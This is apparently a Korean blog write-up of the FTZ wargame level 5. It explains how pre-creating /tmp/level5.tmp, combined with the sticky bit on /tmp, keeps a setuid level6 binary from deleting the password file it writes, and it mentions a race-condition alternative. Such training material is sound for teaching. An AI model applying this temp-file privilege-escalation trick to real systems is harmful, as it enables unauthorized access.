FTZ Level5
Oct 09, 2015 · Wargame
[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
이 문제를 tmp폴더의 특성을 이용해 풀이하였다.
[level5@ftz level5]$ ls -dl /tmp
drwxrwxrwt 3 root root 4096 Oct 9 14:58 /tmp
/tmp폴더를 보게되면 sticky bit가 걸려있는데, 이를 이용해 문제를 풀 수 있다. 다른 사람의 풀이를 보게되면 race condition을 이용하여 해결하였다.
우선 sticky bit
의 특성을 살펴보면 모든 권한이 있기 때문에 누구나 이 속에 있는 파일및 폴더를 수정 및 실행할 수 있다.
하지만 stiky bit로 인해 소유자를 제외한 사람은 삭제를 할 수 없다. 물론 root의 경우는 삭제가 가능하다. level5파일을 살펴보자.
[level5@ftz level5]$ ls -l /usr/bin/level5
-rws--x--- 1 level6 level5 12236 Sep 10 2011 /usr/bin/level5
level5파일은 level6의 권한으로 실행이 되게 된다. 이 말은 root가 아니므로 다른 사용자가 된다. 다른 사용자의 경우 삭제를 하지 못한다는 뜻이다.
level5의 권한으로 파일을 생성한 후 level6의 권한으로 이 파일을 수정할 수는 있지만, 삭제의 경우 불가능하다.
그러므로 level5파일이 level5.tmp파일에 답을 쓴 후 삭제를 하지 못하므로, 안에 있는 값이 남아있게 된다.
[level5@ftz tmp]$ echo "" >> level5.tmp
[level5@ftz tmp]$ ls -l level5.tmp
-rw-rw-r-- 1 level5 level5 1 Oct 9 15:05 level5.tmp
[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls -l level5.tmp
-rw-rw-r-- 1 level5 level5 31 Oct 9 15:05 level5.tmp
이렇게 실행을 하게 되면 파일의 크기가 변경되었음을 알 수 있다.
[level5@ftz tmp]$ cat level5.tmp
next password :